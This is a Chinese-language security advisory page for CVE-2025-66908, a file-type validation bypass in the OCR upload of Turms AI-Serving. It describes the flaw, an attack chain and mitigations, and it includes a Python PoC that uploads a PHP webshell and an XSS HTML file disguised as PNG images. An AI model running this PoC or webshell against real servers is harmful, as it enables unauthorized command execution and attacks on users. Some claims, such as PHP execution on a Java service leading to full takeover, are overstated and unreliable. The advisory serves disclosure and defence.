IPBUF安全漏洞报告
English
CVE-2025-66908 CVSS 5.3 中危

CVE-2025-66908: Turms AI-Serving OCR图像上传文件类型验证绕过漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-66908
漏洞类型
文件类型验证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Turms AI-Serving module v0.10.0-SNAPSHOT及更早版本

相关标签

CVE-2025-66908文件上传绕过文件类型验证TurmsOCR图像上传魔数验证缺失内容验证不足webshell上传存储型XSS

漏洞概述

CVE-2025-66908是Turms开源即时通讯系统中AI-Serving模块的一个中高危安全漏洞。该漏洞存在于OCR图像上传功能中,由于系统对上传文件的类型验证不充分,攻击者可以绕过安全限制上传任意文件类型。Turms是一个用Java开发的即时通讯服务端项目,其AI-Serving模块提供了OCR文字识别功能。在v0.10.0-SNAPSHOT及更早版本中,OcrController使用@FormData(contentType = MediaTypeConst.IMAGE)注解来限制上传文件为图像类型,但该约束仅在HTTP层面进行检查,并未真正验证文件的实际内容。系统仅依赖客户端提供的Content-Type请求头和文件扩展名来判断文件类型,缺乏基于文件魔数(magic bytes)的真实内容验证机制。这一设计缺陷使得攻击者可以通过简单修改HTTP请求头或文件扩展名来伪装恶意文件为图像文件,从而上传 webshell、恶意脚本或HTML文件,可能导致服务器被完全接管、存储型XSS攻击或敏感信息泄露等严重后果。

技术细节

漏洞存在于turms-ai-serving/src/main/java/im/turms/ai/domain/ocr/controller/OcrController.java文件中。该控制器使用Spring框架的@FormData注解配合MediaTypeConst.IMAGE常量来限制文件上传类型,但这种验证方式存在严重缺陷。具体问题包括:(1) 仅验证Content-Type头:系统信任客户端提供的Content-Type请求头,攻击者可以将恶意文件的Content-Type设置为image/png、image/jpeg等图像MIME类型;(2) 仅验证文件扩展名:在某些检查场景下,系统可能仅检查文件扩展名是否为.jpg、.png等图像格式;(3) 缺少魔数验证:最关键的是,系统没有读取文件头部的魔数字节(如PNG文件以89 50 4E 47开头,JPEG以FF D8 FF开头)来验证文件的真实类型;(4) 上传文件可被访问:如果上传的恶意文件被存储在Web可访问目录且可被直接请求,将直接导致RCE或XSS等严重危害。攻击者可以利用此漏洞上传包含恶意代码的文件(如PHP webshell、HTML+XSS payload、可执行脚本等),然后通过访问上传的文件来执行恶意代码或触发攻击。

攻击链分析

STEP 1
步骤1
攻击者识别目标站点使用Turms AI-Serving模块,并找到OCR文件上传接口(通常为/api/ocr/upload或类似端点)
STEP 2
步骤2
攻击者准备恶意文件,如PHP webshell、HTML文件(含XSS payload)或可执行脚本
STEP 3
步骤3
攻击者构造HTTP POST请求,将恶意文件的Content-Type设置为image/png或其他图像MIME类型,并使用.png扩展名
STEP 4
步骤4
系统仅检查Content-Type头和文件扩展名,由于两者都伪装成图像格式,验证通过,恶意文件被成功上传并存储
STEP 5
步骤5
如果上传的文件存储在Web可访问目录且可被直接访问,攻击者通过访问上传的文件URL来执行webshell或触发XSS
STEP 6
步骤6
攻击者获得服务器命令执行权限或窃取用户敏感信息,实现服务器完全沦陷或发起针对其他用户的后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-66908 PoC - File Type Validation Bypass in Turms AI-Serving OCR Upload # This PoC demonstrates uploading an arbitrary file disguised as an image def upload_malicious_file(target_url, file_content, filename): """ Upload a malicious file with fake image Content-Type header """ headers = { 'Content-Type': 'image/png' # Bypass Content-Type check } # Prepare multipart form data files = { 'file': (filename, file_content, 'image/png') } try: response = requests.post(target_url, headers=headers, files=files, timeout=10) print(f'[+] Response Status: {response.status_code}') print(f'[+] Response Body: {response.text[:500]}') return response except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') return None def create_webshell(): """Generate PHP webshell content""" return b'<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' def create_html_xss(): """Generate HTML file with XSS payload""" return b'<html><script>alert("XSS");</script></html>' if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-66908_poc.py <target_url>') print('Example: python cve-2025-66908_poc.py http://target.com/api/ocr/upload') sys.exit(1) target = sys.argv[1] # Test 1: Upload PHP webshell with .png extension print('[*] Test 1: Uploading PHP webshell disguised as PNG...') webshell = create_webshell() upload_malicious_file(target, webshell, 'shell.png') # Test 2: Upload HTML file with XSS payload print('[*] Test 2: Uploading HTML file with XSS payload...') html_payload = create_html_xss() upload_malicious_file(target, html_payload, 'xss.html') print('[*] If files are accessible, visit them to execute the payload')

影响范围

Turms AI-Serving v0.10.0-SNAPSHOT
Turms AI-Serving 所有 v0.10.0-SNAPSHOT 及更早版本

防御指南

临时缓解措施
临时缓解措施:在Web服务器层面配置,禁止访问上传目录中的.php、.html、.js等可执行或可解析的文件类型;对上传目录设置只读权限,移除执行权限;使用WAF(Web应用防火墙)规则拦截异常的文件上传请求;限制OCR功能仅对授权用户开放,增加认证和授权检查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表